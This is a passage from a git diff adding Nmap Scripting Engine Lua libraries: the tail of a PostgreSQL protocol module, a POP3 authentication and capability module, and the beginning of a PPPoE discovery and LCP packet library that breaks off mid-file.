+ return data
+ end,
+
+ --- Decodes the postgres header
+ --
+ -- @param data string containing the server response
+ -- @param pos number containing the offset into the data buffer
+ -- @return pos number containing the offset after decoding
+ -- @return header table containing <code>type</code> and <code>len</code>
+ decodeHeader = function(data, pos)
+ local ptype, len
+
+ ptype, len, pos = string.unpack(">BI4", data, pos)
+ return pos, { ['type'] = ptype, ['len'] = len }
+ end,
+
+ --- Process the server response
+ --
+ -- @param data string containing the server response
+ -- @param pos number containing the offset into the data buffer
+ -- @return pos number containing offset after decoding
+ -- @return response string containing decoded data
+ -- error message if pos is -1
+ processResponse = function(data, pos)
+ pos = pos or 1
+
+ if not data then
+ return -1, "Not enough response data"
+ end
+
+ local header
+ pos, header = v3.decodeHeader( data, pos )
+ if not v3.messageDecoder[header.type] then
+ stdnse.debug1("Missing decoder for %d", header.type )
+ return -1, ("Missing decoder for %d"):format(header.type)
+ end
+
+ local response
+ pos, response = v3.messageDecoder[header.type](data, header.len, pos)
+ if pos == -1 then
+ return -1, "Decoding failed"
+ end
+
+ response.type = header.type
+ return pos, response
+ end,
+
+ --- Attempts to authenticate to the pgsql server
+ -- Supports plain-text and MD5 authentication
+ --
+ -- @param socket socket already connected to the pgsql server
+ -- @param params table containing any additional parameters <code>authtype</code>, <code>version</code>
+ -- @param username string containing the username to use for authentication
+ -- @param password string containing the password to use for authentication
+ -- @param salt string containing the cryptographic salt value
+ -- @return status true on success, false on failure
+ -- @return result table containing parameter status information,
+ -- result string containing an error message if login fails
+ loginRequest = function ( socket, params, username, password, salt )
+
+ local creds
+ if params.authtype == AuthenticationType.MD5 then
+ creds = createMD5LoginHash(username, password, salt)
+ elseif params.authtype == AuthenticationType.Plain then
+ creds = password
+ elseif params.authtype == AuthenticationType.Success then
+ return true, nil
+ else
+ return false, "Unexpected authentication type 0x" .. stdnse.tohex(params.authtype)
+ end
+
+ local status, err = socket:send(string.pack(">BI4z", MessageType.PasswordMessage, #creds + 5, creds))
+ if not status then
+ return false, "Unable to send AuthRequest: " .. err
+ end
+
+ local data = v3.readPacket(socket)
+ local pos, tmp = v3.processResponse(data, 1)
+
+ -- this should contain the AuthRequest packet
+ if tmp.type ~= MessageType.AuthRequest then
+ return false, "Expected AuthRequest; got something else"
+ end
+
+ if not tmp.success then
+ return false, "Login failure"
+ end
+
+ local params = {}
+ repeat
+ data = v3.readPacket(socket, data, pos)
+ pos, tmp = v3.processResponse(data, pos)
+ if ( tmp.type == MessageType.ParameterStatus ) then
+ table.insert(params, {name=tmp.key, value=tmp.value})
+ end
+ until pos >= data:len() or pos == -1
+
+ return true, {params}
+ end,
+
+ --- Sends a startup message to the server containing the username and database to connect to
+ --
+ -- @param socket socket already connected to the pgsql server
+ -- @param user string containing the name of the user
+ -- @param database string containing the name of the database
+ -- @return status true on success, false on failure
+ -- @return table containing a processed response from <code>processResponse</code>
+ -- string containing error message if status is false
+ sendStartup = function(socket, user, database )
+ local data, response, status, pos
+ local proto_ver, ptype, _, tmp
+
+ proto_ver = 0x0030000
+ data = string.pack(">I4zzzzB", proto_ver, "user", user, "database", database, 0)
+ data = string.pack(">I4", data:len() + 4) .. data
+
+ socket:send( data )
+
+ -- attempt to verify version
+ status, data = socket:receive_bytes( 2 )
+
+ if ( not(status) ) then
+ return false, "sendStartup failed"
+ end
+
+ if ( not(status) or data:match("^EF") ) then
+ return false, "Incorrect version"
+ end
+
+ data = v3.readPacket(socket, data )
+ pos, response = v3.processResponse( data )
+
+ if ( pos < 0 or response.type == MessageType.Error) then
+ return false, response.error.message or "unknown error"
+ end
+
+ return true, response
+ end
+}
+
+
+--- Sends a packet requesting SSL communication to be activated
+--
+-- @param socket socket already connected to the pgsql server
+-- @return boolean true if request was accepted, false if request was denied
+function requestSSL(socket)
+ -- SSLRequest
+ local ssl_req_code = 80877103
+ local data = string.pack( ">I4I4", 8, ssl_req_code)
+ local status, response
+
+ socket:send(data)
+ status, response = socket:receive_bytes(1)
+
+ if ( not(status) ) then
+ return false
+ end
+
+ if ( response == 'S' ) then
+ return true
+ end
+
+ return false
+end
+
+--- Creates a cryptographic hash to be used for login
+--
+-- @param username username
+-- @param password password
+-- @param salt salt
+-- @return string suitable for login request
+function createMD5LoginHash(username, password, salt)
+ local md5_1 = stdnse.tohex(openssl.md5(password..username))
+ return "md5" .. stdnse.tohex(openssl.md5(md5_1 .. salt))
+end
+
+--- Prints the contents of the error table returned from the Error message decoder
+--
+-- @param dberror table containing the error
+function printErrorMessage( dberror )
+ if not dberror then
+ return
+ end
+ for k, v in pairs(dberror) do
+ stdnse.debug1("%s=%s", k, v)
+ end
+end
+
+--- Attempts to determine if the server supports v3 or v2 of the protocol
+--
+-- @param host table
+-- @param port table
+-- @return class v2 or v3
+function detectVersion(host, port)
+ local status, response
+ local socket = nmap.new_socket()
+
+ socket:connect(host, port)
+ status, response = v3.sendStartup(socket, "versionprobe", "versionprobe")
+ socket:close()
+
+ if ( not(status) and response == 'Incorrect version' ) then
+ return v2
+ end
+
+ return v3
+end
+
+return _ENV;
diff --git a/nselib/pop3.lua b/nselib/pop3.lua
new file mode 100644
index 0000000..10d9c40
--- /dev/null
+++ b/nselib/pop3.lua
@@ -0,0 +1,235 @@
+---
+-- POP3 functions.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local base64 = require "base64"
+local comm = require "comm"
+local match = require "match"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+_ENV = stdnse.module("pop3", stdnse.seeall)
+
+local HAVE_SSL, openssl = pcall(require,'openssl')
+
+
+err = {
+ none = 0,
+ userError = 1,
+ pwError = 2,
+ informationMissing = 3,
+ OpenSSLMissing = 4,
+}
+
+---
+-- Check a POP3 response for <code>"+OK"</code>.
+-- @param line First line returned from an POP3 request.
+-- @return The string <code>"+OK"</code> if found or <code>nil</code> otherwise.
+function stat(line)
+ return string.match(line, "+OK")
+end
+
+
+
+---
+-- Try to log in using the <code>USER</code>/<code>PASS</code> commands.
+-- @param socket Socket connected to POP3 server.
+-- @param user User string.
+-- @param pw Password string.
+-- @return Status (true or false).
+-- @return Error code if status is false.
+function login_user(socket, user, pw)
+ socket:send("USER " .. user .. "\r\n")
+ local status, line = socket:receive_lines(1)
+ if not stat(line) then return false, err.userError end
+ socket:send("PASS " .. pw .. "\r\n")
+
+ status, line = socket:receive_lines(1)
+
+ if stat(line) then return true, err.none
+ else return false, err.pwError
+ end
+end
+
+
+---
+-- Try to login using the the <code>AUTH</code> command using SASL/Plain method.
+-- @param socket Socket connected to POP3 server.
+-- @param user User string.
+-- @param pw Password string.
+-- @return Status (true or false).
+-- @return Error code if status is false.
+function login_sasl_plain(socket, user, pw)
+
+ local auth64 = base64.enc(user .. "\0" .. user .. "\0" .. pw)
+ socket:send("AUTH PLAIN " .. auth64 .. "\r\n")
+
+ local status, line = socket:receive_lines(1)
+
+ if stat(line) then
+ return true, err.none
+ else
+ return false, err.pwError
+ end
+end
+
+---
+-- Try to login using the <code>AUTH</code> command using SASL/Login method.
+-- @param user User string.
+-- @param pw Password string.
+-- @param pw String containing password to login.
+-- @return Status (true or false).
+-- @return Error code if status is false.
+function login_sasl_login(socket, user, pw)
+
+ local user64 = base64.enc(user)
+
+ local pw64 = base64.enc(pw)
+
+ socket:send("AUTH LOGIN\r\n")
+
+ local status, line = socket:receive_lines(1)
+ if not base64.dec(string.sub(line, 3)) == "User Name:" then
+ return false, err.userError
+ end
+
+ socket:send(user64)
+
+ local status, line = socket:receive_lines(1)
+
+ if not base64.dec(string.sub(line, 3)) == "Password:" then
+ return false, err.userError
+ end
+
+ socket:send(pw64)
+
+ local status, line = socket:receive_lines(1)
+
+ if stat(line) then
+ return true, err.none
+ else
+ return false, err.pwError
+ end
+end
+
+---
+-- Try to login using the <code>APOP</code> command.
+-- @param socket Socket connected to POP3 server.
+-- @param user User string.
+-- @param pw Password string.
+-- @param challenge String containing challenge from POP3 server greeting.
+-- @return Status (true or false).
+-- @return Error code if status is false.
+function login_apop(socket, user, pw, challenge)
+ if type(challenge) ~= "string" then return false, err.informationMissing end
+
+ local apStr = stdnse.tohex(openssl.md5(challenge .. pw))
+ socket:send(("APOP %s %s\r\n"):format(user, apStr))
+
+ local status, line = socket:receive_lines(1)
+
+ if (stat(line)) then
+ return true, err.none
+ else
+ return false, err.pwError
+ end
+end
+
+---
+-- Asks a POP3 server for capabilities.
+--
+-- See RFC 2449.
+-- @param host Host to be queried.
+-- @param port Port to connect to.
+-- @return Table containing capabilities or nil on error.
+-- @return nil or String error message.
+function capabilities(host, port)
+
+ local socket, line, bopt, first_line = comm.tryssl(host, port, "" , {request_timeout=10000, recv_before=true})
+ if not socket then
+ return nil, "Could Not Connect"
+ end
+ if not stat(first_line) then
+ return nil, "No Response"
+ end
+
+ local capas = {}
+ if string.find(first_line, "<[%p%w]+>") then
+ capas.APOP = {}
+ end
+
+ local status = socket:send("CAPA\r\n")
+ if( not(status) ) then
+ return nil, "Failed to send"
+ end
+
+ status, line = socket:receive_buf(match.pattern_limit("%.", 2048), false)
+ if( not(status) ) then
+ return nil, "Failed to receive"
+ end
+ socket:close()
+
+ local lines = stringaux.strsplit("\r\n",line)
+ if not stat(table.remove(lines,1)) then
+ capas.capa = false
+ return capas
+ end
+
+ for _, line in ipairs(lines) do
+ if ( line and #line>0 ) then
+ local capability = line:sub(line:find("[%w-]+"))
+ line = line:sub(#capability + 2)
+ if ( line ~= "" ) then
+ capas[capability] = stringaux.strsplit(" ", line)
+ else
+ capas[capability] = {}
+ end
+ end
+ end
+
+ return capas
+end
+
+---
+-- Try to login using the <code>AUTH</code> command using SASL/CRAM-MD5 method.
+-- @param socket Socket connected to POP3 server.
+-- @param user User string.
+-- @param pw Password string.
+-- @return Status (true or false).
+-- @return Error code if status is false.
+function login_sasl_crammd5(socket, user, pw)
+
+ socket:send("AUTH CRAM-MD5\r\n")
+
+ local status, line = socket:receive_lines(1)
+
+ local challenge = base64.dec(string.sub(line, 3))
+
+ local digest = stdnse.tohex(openssl.hmac('md5', pw, challenge))
+ local authStr = base64.enc(user .. " " .. digest)
+ socket:send(authStr .. "\r\n")
+
+ local status, line = socket:receive_lines(1)
+
+ if stat(line) then
+ return true, err.none
+ else
+ return false, err.pwError
+ end
+end
+
+-- Overwrite functions requiring OpenSSL if we got no OpenSSL.
+if not HAVE_SSL then
+
+ local no_ssl = function()
+ return false, err.OpenSSLMissing
+ end
+
+ login_apop = no_ssl
+ login_sasl_crammd5 = no_ssl
+end
+
+
+return _ENV;
diff --git a/nselib/pppoe.lua b/nselib/pppoe.lua
new file mode 100644
index 0000000..b092781
--- /dev/null
+++ b/nselib/pppoe.lua
@@ -0,0 +1,1010 @@
+--- A minimalistic PPPoE (Point-to-point protocol over Ethernet)
+-- library, implementing basic support for PPPoE
+-- Discovery and Configuration requests. The PPPoE protocol is ethernet based
+-- and hence does not use any IPs or port numbers.
+--
+-- The library contains a number of classes to support packet creation,
+-- parsing and sending/receiving responses. The classes are:
+-- o LCP - Contains classes to build and parse PPPoE LCP requests and
+-- responses.
+--
+-- o PPPoE - Contains classes to build and parse PPPoE requests and
+-- responses.
+--
+-- o Comm - Contains some basic functions for sending and receiving
+-- LCP and PPPoE requests and responses.
+--
+-- o Helper- The Helper class serves as the main interface between scripts
+-- and the library.
+--
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+local rand = require "rand"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("pppoe", stdnse.seeall)
+
+
+EtherType = {
+ PPPOE_DISCOVERY = 0x8863,
+ PPPOE_SESSION = 0x8864,
+}
+
+-- A Class to handle the Link Control Protocol LCP
+LCP = {
+
+ ConfigOption = {
+
+ RESERVED = 0,
+ MRU = 1,
+ AUTH_PROTO = 3,
+ QUAL_PROTO = 4,
+ MAGIC_NUMBER = 5,
+ PROTO_COMPR = 7,
+ ACFC = 8,
+
+ -- Value has already been encoded, treat it as a byte stream
+ RAW = -1,
+
+ -- Creates a new config option
+ -- @param option number containing the configuration option
+ -- @param value containing the configuration option value
+ -- @param raw string containing the configuration options raw value
+ -- @return o new instance of ConfigOption
+ new = function(self, option, value, raw)
+ local o = {
+ option = option,
+ value = value,
+ raw = raw,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses a byte stream and builds a new instance of the ConfigOption
+ -- class
+ -- @param data string containing raw bytes to parse
+ -- @return o instance of ConfigOption
+ parse = function(data)
+ local opt, pos, len = {}, 1, 0
+ opt.option, len, pos = string.unpack("BB", data, pos)
+ opt.raw, pos = string.unpack("c" .. ( len - 2 ), data, pos)
+
+ -- MRU
+ if ( 1 == opt.option ) then
+ opt.value = string.unpack(">I2", opt.raw)
+ end
+ return LCP.ConfigOption:new(opt.option, opt.value, opt.raw)
+ end,
+
+ -- Converts the class instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ -- MRU
+ if ( self.raw ) then
+ return string.pack(">BB", self.option, #self.raw + 2) .. self.raw
+ elseif( 1 == self.option ) then
+ return string.pack(">BBI2", 1, 4, self.value)
+ else
+ error( ("Unsupported configuration option %d"):format(self.option) )
+ end
+ end,
+ },
+
+ -- A class to hold multiple ordered config options
+ ConfigOptions = {
+
+ new = function(self, options)
+ local o = {
+ options = options or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Adds a new config option to the table
+ -- @param option instance of ConfigOption
+ add = function(self, option)
+ table.insert(self.options, option)
+ end,
+
+ -- Gets a config option by ID
+ -- @param opt number containing the configuration option to retrieve
+ -- @return v instance of ConfigOption
+ getById = function(self, opt)
+ for _, v in ipairs(self.options) do
+ if ( v.option == opt ) then
+ return v
+ end
+ end
+ end,
+
+ -- Returns all config options in an ordered table
+ -- @return tab table containing all configuration options
+ getTable = function(self)
+ local tab = {}
+ for _, v in ipairs(self.options) do
+ table.insert(tab, v)
+ end
+ return tab
+ end,
+
+
+ -- Parses a byte stream and builds a new instance of the ConfigOptions
+ -- class
+ -- @param data string containing raw bytes to parse
+ -- @return o instance of ConfigOption
+ parse = function(data)
+ local options = LCP.ConfigOptions:new()
+ local pos, opt, opt_val, len
+
+ repeat
+ opt, len, pos = string.unpack(">BB", data, pos)
+ if ( 0 == opt ) then break end
+ opt_val, pos = string.unpack("c"..len, data, (pos - 2))
+ options:add(LCP.ConfigOption.parse(opt_val))
+ until( pos == #data )
+ return options
+ end,
+
+ -- Converts the class instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ local str = ""
+ for _, v in ipairs(self.options) do
+ str = str .. tostring(v)
+ end
+ return str
+ end,
+
+ },
+
+ ConfigOptionName = {
+ [0] = "Reserved",
+ [1] = "Maximum receive unit",
+ [3] = "Authentication protocol",
+ [4] = "Quality protocol",
+ [5] = "Magic number",
+ [7] = "Protocol field compression",
+ [8] = "Address and control field compression",
+ },
+
+ Code = {
+ CONFIG_REQUEST = 1,
+ CONFIG_ACK = 2,
+ CONFIG_NAK = 3,
+ TERMINATE_REQUEST = 5,
+ TERMINATE_ACK = 6,
+ },
+
+ -- The LCP Header
+ Header = {
+
+ -- Creates a new instance of the LCP header
+ -- @param code number containing the LCP code of the request
+ -- @param identifier number containing the LCP identifier
+ new = function(self, code, identifier)
+ local o = {
+ code = code,
+ identifier = identifier or 1,
+ length = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+
+ -- Parses a byte stream and builds a new instance of the Header class
+ -- @param data string containing raw bytes to parse
+ -- @return o instance of ConfigOption
+ parse = function(data)
+ local header = LCP.Header:new()
+ header.code, header.identifier, header.length = string.unpack(">BBI2", data)
+ return header
+ end,
+
+ -- Converts the class instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ return string.pack(">BBI2", self.code, self.identifier, self.length)
+ end,
+
+ },
+
+ ConfigRequest = {
+
+ -- Creates a new instance of the ConfigRequest class
+ -- @param identifier number containing the LCP identifier
+ -- @param options table of <code>LCP.ConfigOption</code> options
+ -- @return o instance of ConfigRequest
+ new = function(self, identifier, options)
+ local o = {
+ header = LCP.Header:new(LCP.Code.CONFIG_REQUEST, identifier),
+ options = LCP.ConfigOptions:new(options)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses a byte stream and builds a new instance of the ConfigRequest
+ -- class
+ -- @param data string containing raw bytes to parse
+ -- @return o instance of ConfigRequest
+ parse = function(data)
+ local req = LCP.ConfigRequest:new()
+ req.header = LCP.Header.parse(data)
+ req.options = LCP.ConfigOptions.parse(data:sub(#tostring(req.header) + 1))
+ return req
+ end,
+
+ -- Converts the class instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ self.header.length = 4 + #tostring(self.options)
+ return tostring(self.header) .. tostring(self.options)
+ end,
+ },
+
+ ConfigNak = {
+
+ -- Creates a new instance of the ConfigNak class
+ -- @param identifier number containing the LCP identifier
+ -- @param options table of <code>LCP.ConfigOption</code> options
+ -- @return o instance of ConfigNak
+ new = function(self, identifier, options)
+ local o = {
+ header = LCP.Header:new(LCP.Code.CONFIG_NAK, identifier),
+ options = LCP.ConfigOptions:new(options),
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the class instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ self.header.length = 4 + #tostring(self.options)
+ return tostring(self.header) .. tostring(self.options)
+ end,
+ },
+
+ ConfigAck = {
+
+ -- Creates a new instance of the ConfigAck class
+ -- @param identifier number containing the LCP identifier
+ -- @param options table of <code>LCP.ConfigOption</code> options
+ -- @return o instance of ConfigNak
+ new = function(self, identifier, options)
+ local o = {
+ header = LCP.Header:new(LCP.Code.CONFIG_ACK, identifier),
+ options = LCP.ConfigOptions:new(options),
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses a byte stream and builds a new instance of the ConfigAck class
+ -- @param data string containing raw bytes to parse
+ -- @return o instance of ConfigRequest
+ parse = function(data)
+ local ack = LCP.ConfigAck:new()
+ ack.header = LCP.Header.parse(data)
+ ack.options = LCP.ConfigOptions.parse(data:sub(#tostring(ack.header) + 1))
+ return ack
+ end,
+
+ -- Converts the class instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ self.header.length = 4 + #tostring(self.options)
+ return tostring(self.header) .. tostring(self.options)
+ end,
+
+ },
+
+ TerminateRequest = {
+
+ -- Creates a new instance of the TerminateRequest class
+ -- @param identifier number containing the LCP identifier
+ -- @return o instance of ConfigNak
+ new = function(self, identifier, data)
+ local o = {
+ header = LCP.Header:new(LCP.Code.TERMINATE_REQUEST, identifier),
+ data = data or "",
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the class instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ self.header.length = 4 + #self.data
+ return tostring(self.header) .. self.data
+ end,
+ }
+
+}
+
+-- The PPPoE class
+PPPoE = {
+
+ -- Supported PPPoE codes (requests/responses)
+ Code = {
+ SESSION_DATA = 0x00,
+ PADO = 0x07,
+ PADI = 0x09,
+ PADR = 0x19,
+ PADS = 0x65,
+ PADT = 0xa7,
+ },
+
+ -- Support PPPoE Tag types
+ TagType = {
+ SERVICE_NAME = 0x0101,
+ AC_NAME = 0x0102,
+ HOST_UNIQUE = 0x0103,
+ AC_COOKIE = 0x0104,
+ },
+
+ -- Table used to convert table IDs to Names
+ TagName = {
+ [0x0101] = "Service-Name",
+ [0x0102] = "AC-Name",
+ [0x0103] = "Host-Uniq",
+ [0x0104] = "AC-Cookie",
+ },
+
+
+ Header = {
+
+ -- Creates a new instance of the PPPoE header class
+ -- @param code number containing the PPPoE code
+ -- @param session number containing the PPPoE session
+ -- @return o instance of Header
+ new = function(self, code, session)
+ local o = {
+ version = 1,
+ type = 1,
+ code = code,
+ session = session or 0,
+ length = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses a byte stream and builds a new instance of the class
+ -- @param data string containing raw bytes to parse
+ -- @return o instance of Header
+ parse = function(data)
+ local header = PPPoE.Header:new()
+ local vertyp
+ vertyp, header.code, header.session, header.length = string.unpack(">BBI2I2", data)
+ header.version = (vertyp >> 4)
+ header.type = (vertyp & 0x0F)
+ return header
+ end,
+
+ -- Converts the instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ local vertype = (self.version << 4) + self.type
+ return string.pack(">BBI2I2", vertype, self.code, self.session, self.length)
+ end,
+
+
+ },
+
+ -- The TAG NVP Class
+ Tag = {
+
+ -- Creates a new instance of the Tag class
+ -- @param tag number containing the tag type
+ -- @param value string/number containing the tag value
+ -- @return o instance of Tag
+ new = function(self, tag, value)
+ local o = { tag = tag, value = value or "" }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ return string.pack(">I2s2", self.tag, self.value)
+ end,
+ },
+
+ PADI = {
+
+ -- Creates a new instance of the PADI class
+ -- @param tags table of <code>PPPoE.Tag</code> instances
+ -- @param value string/number containing the tag value
+ -- @return o instance of ConfigNak
+ new = function(self, tags)
+ local c = rand.random_string(8)
+
+ local o = {
+ header = PPPoE.Header:new(PPPoE.Code.PADI),
+ tags = tags or {
+ PPPoE.Tag:new(PPPoE.TagType.SERVICE_NAME),
+ PPPoE.Tag:new(PPPoE.TagType.HOST_UNIQUE, c)
+ }
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ local tags = ""
+ for _, tag in ipairs(self.tags) do
+ tags = tags .. tostring(tag)
+ end
+ self.header.length = #tags
+ return tostring(self.header) .. tags
+ end,
+
+ },
+
+ PADO = {
+
+ -- Creates a new instance of the PADO class
+ -- @return o instance of PADO
+ new = function(self)
+ local o = { tags = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses a byte stream and builds a new instance of the class
+ -- @param data string containing raw bytes to parse
+ -- @return o instance of PADO
+ parse = function(data)
+ local pado = PPPoE.PADO:new()
+ pado.header = PPPoE.Header.parse(data)
+ local pos = #tostring(pado.header) + 1
+ pado.data = data:sub(pos)
+
+ repeat
+ local tag, decoded, raw
+ tag, raw, pos = string.unpack(">I2s2", pos)
+ if ( PPPoE.TagDecoder[tag] ) then
+ decoded = PPPoE.TagDecoder[tag](raw)
+ else
+ stdnse.debug1("PPPoE: Unsupported tag (%d)", tag)
+ end
+ local t = PPPoE.Tag:new(tag, raw)
+ t.decoded = decoded
+ table.insert(pado.tags, t)
+ until( pos >= #data )
+
+ return pado
+ end,
+ },
+
+ PADR = {
+
+ -- Creates a new instance of the PADR class
+ -- @param tags table of <code>PPPoE.Tag</code> instances
+ -- @return o instance of PADR
+ new = function(self, tags)
+ local o = {
+ tags = tags or {},
+ header = PPPoE.Header:new(PPPoE.Code.PADR)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ local tags = ""
+ for _, tag in ipairs(self.tags) do
+ tags = tags .. tostring(tag)
+ end
+ self.header.length = #tags
+ return tostring(self.header) .. tags
+ end,
+
+ },
+
+ PADS = {
+
+ -- Creates a new instance of the PADS class
+ -- @return o instance of PADS
+ new = function(self)
+ local o = { tags = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses a byte stream and builds a new instance of the class
+ -- @param data string containing raw bytes to parse
+ -- @return o instance of PADS
+ parse = function(data)
+ local pads = PPPoE.PADS:new()
+ pads.header = PPPoE.Header.parse(data)
+ local pos = #tostring(pads.header) + 1
+ pads.data = data:sub(pos)
+ return pads
+ end,
+
+ },
+
+ PADT = {
+
+ -- Creates a new instance of the PADT class
+ -- @param session number containing the PPPoE session
+ -- @return o instance of PADT
+ new = function(self, session)
+ local o = { header = PPPoE.Header:new(PPPoE.Code.PADT) }
+ setmetatable(o, self)
+ o.header.session = session
+ self.__index = self
+ return o
+ end,
+
+ -- Parses a byte stream and builds a new instance of the class
+ -- @param data string containing raw bytes to parse
+ -- @return o instance of PADI
+ parse = function(data)
+ local padt = PPPoE.PADT:new()
+ padt.header = PPPoE.Header.parse(data)
+ return padt
+ end,
+
+ -- Converts the instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ return tostring(self.header)
+ end,
+ },
+
+ SessionData = {
+
+ -- Creates a new instance of the SessionData class
+ -- @param session number containing the PPPoE session
+ -- @param data string containing the LCP data to send
+ -- @return o instance of ConfigNak
+ new = function(self, session, data)
+ local o = {
+ data = data or "",
+ header = PPPoE.Header:new(PPPoE.Code.SESSION_DATA)
+ }
+ setmetatable(o, self)
+ o.header.session = session
+ self.__index = self
+ return o
+ end,
+
+ -- Parses a byte stream and builds a new instance of the class
+ -- @param data string containing raw bytes to parse
+ -- @return o instance of SessionData
+ parse = function(data)
+ local sess = PPPoE.SessionData:new()
+ sess.header = PPPoE.Header.parse(data)
+ local pos = #tostring(sess.header) + 1 + 2
+ sess.data = data:sub(pos)
+ return sess
+ end,
+
+ -- Converts the instance to string
+ -- @return string containing the raw config option
+ __tostring = function(self)
+ -- 2 for the encapsulation
+ self.header.length = 2 + 4 + #self.data
+ return tostring(self.header) .. "\xC0\x21" .. self.data
+ end,
+
+ }
+
+
+}
+
+-- A bunch of tag decoders
+PPPoE.TagDecoder = {}
+PPPoE.TagDecoder.decodeHex = stdnse.tohex
+PPPoE.TagDecoder.decodeStr = function(data) return data end
+PPPoE.TagDecoder[PPPoE.TagType.SERVICE_NAME] = PPPoE.TagDecoder.decodeStr
+PPPoE.TagDecoder[PPPoE.TagType.AC_NAME] = PPPoE.TagDecoder.decodeStr
+PPPoE.TagDecoder[PPPoE.TagType.AC_COOKIE] = PPPoE.TagDecoder.decodeHex
+PPPoE.TagDecoder[PPPoE.TagType.HOST_UNIQUE] = PPPoE.TagDecoder.decodeHex
+
+-- The Comm class responsible for communication with the PPPoE server
+Comm = {
+
+ -- Creates a new instance of the Comm class
+ -- @param iface string containing the interface name
+ -- @param src_mac string containing the source MAC address
+ -- @param dst_mac string containing the destination MAC address
+ -- @return o new instance of Comm
+ new = function(self, iface, src_mac, dst_mac)
+ local o = {
+ iface = iface,
+ src_mac = src_mac,
+ dst_mac = dst_mac,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Sets up the pcap receiving socket
+ -- @return status true on success
+ connect = function(self)
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(10000)
+
+ local mac = stdnse.format_mac(self.src_mac)
+
+ -- let's set a filter on PPPoE we can then check what packet is ours,
+ -- based on the HOST_UNIQUE tag, if we need to
+ self.socket:pcap_open(self.iface, 1500, false, "ether[0x0c:2] == 0x8863 or ether[0x0c:2] == 0x8864 and ether dst " .. mac)
+ return true
+ end,
+
+ -- Sends a packet
+ -- @param data class containing the request to send
+ -- @return status true on success, false on failure
+ send = function(self, data)
+ local eth_type = ( data.header.code == PPPoE.Code.SESSION_DATA ) and 0x8864 or 0x8863
+ local ether = self.dst_mac .. self.src_mac .. string.pack(">I2", eth_type)
+ local p = packet.Frame:new(ether .. tostring(data))
+
+ local sock = nmap.new_dnet()
+ if ( not(sock) ) then
+ return false, "Failed to create raw socket"
+ end
+
+ local status = sock:ethernet_open(self.iface)
+ -- we don't actually need to do this as the script simply crashes
+ -- if we don't have the right permissions at this point
+ if ( not(status) ) then
+ return false, "Failed to open raw socket"
+ end
+
+ status = sock:ethernet_send(p.frame_buf)
+ if ( not(status) ) then
+ return false, "Failed to send data"
+ end
+ sock:ethernet_close()
+ return true
+ end,
+
+ -- Receive a response from the server
+ -- @return status true on success, false on failure
+ -- @return response class containing the response or
+ -- err string on error
+ recv = function(self)
+ local status, _, l2, l3 = self.socket:pcap_receive()
+ -- if we got no response, just return false as there's
+ -- probably not really an error
+ if ( not(status) ) then
+ return false, "Did not receive any packets"
+ end
+
+ local header = PPPoE.Header.parse(l3)
+ local p = packet.Frame:new(l2..l3)
+
+ -- there's probably a more elegant way of doing this
+ if ( EtherType.PPPOE_DISCOVERY == p.ether_type ) then
+ if ( header.code == PPPoE.Code.PADO ) then
+ local pado = PPPoE.PADO.parse(l3)
+ pado.mac_srv = p.mac_src
+ return true, pado
+ elseif ( header.code == PPPoE.Code.PADS ) then
+ local pads = PPPoE.PADS.parse(l3)
+ return true, pads
+ elseif ( header.code == PPPoE.Code.PADT ) then
+ local pads = PPPoE.PADT.parse(l3)
+ return true, pads
+ end
+ elseif ( EtherType.PPPOE_SESSION == p.ether_type ) then
+ return true, PPPoE.SessionData.parse(l3)
+ end
+ return false, ("Received unsupported response, can't decode code (%d)"):format(header.code)
+ end,
+
+ -- Does an "exchange", ie, sends a request and waits for a response
+ -- @param data class containing the request to send
+ -- @return status true on success, false on failure
+ -- @return response class containing the response or
+ -- err string on error
+ exch = function(self, data)
+ local status, err = self:send(data)
+ if ( not(status) ) then
+ return false, err
+ end
+ local retries, resp = 3, nil
+
+ repeat
+ status, resp = self:recv()
+ if ( data.header and 0 == data.header.session ) then
+ return true, resp
+ elseif ( data.header and data.header.session == resp.header.session ) then
+ return true, resp
+ end
+ retries = retries - 1
+ until(retries == 0)
+
+ return false, "Failed to retrieve proper PPPoE response"
+ end,
+
+}
+
+-- The Helper class is the main script interface
+Helper = {
+
+ -- Creates a new instance of Helper
+ -- @param iface string containing the name of the interface to use
+ -- @return o new instance on success, nil on failure
+ new = function(self, iface)
+ local o = {
+ iface = iface,
+
+ -- set the LCP identifier to 0
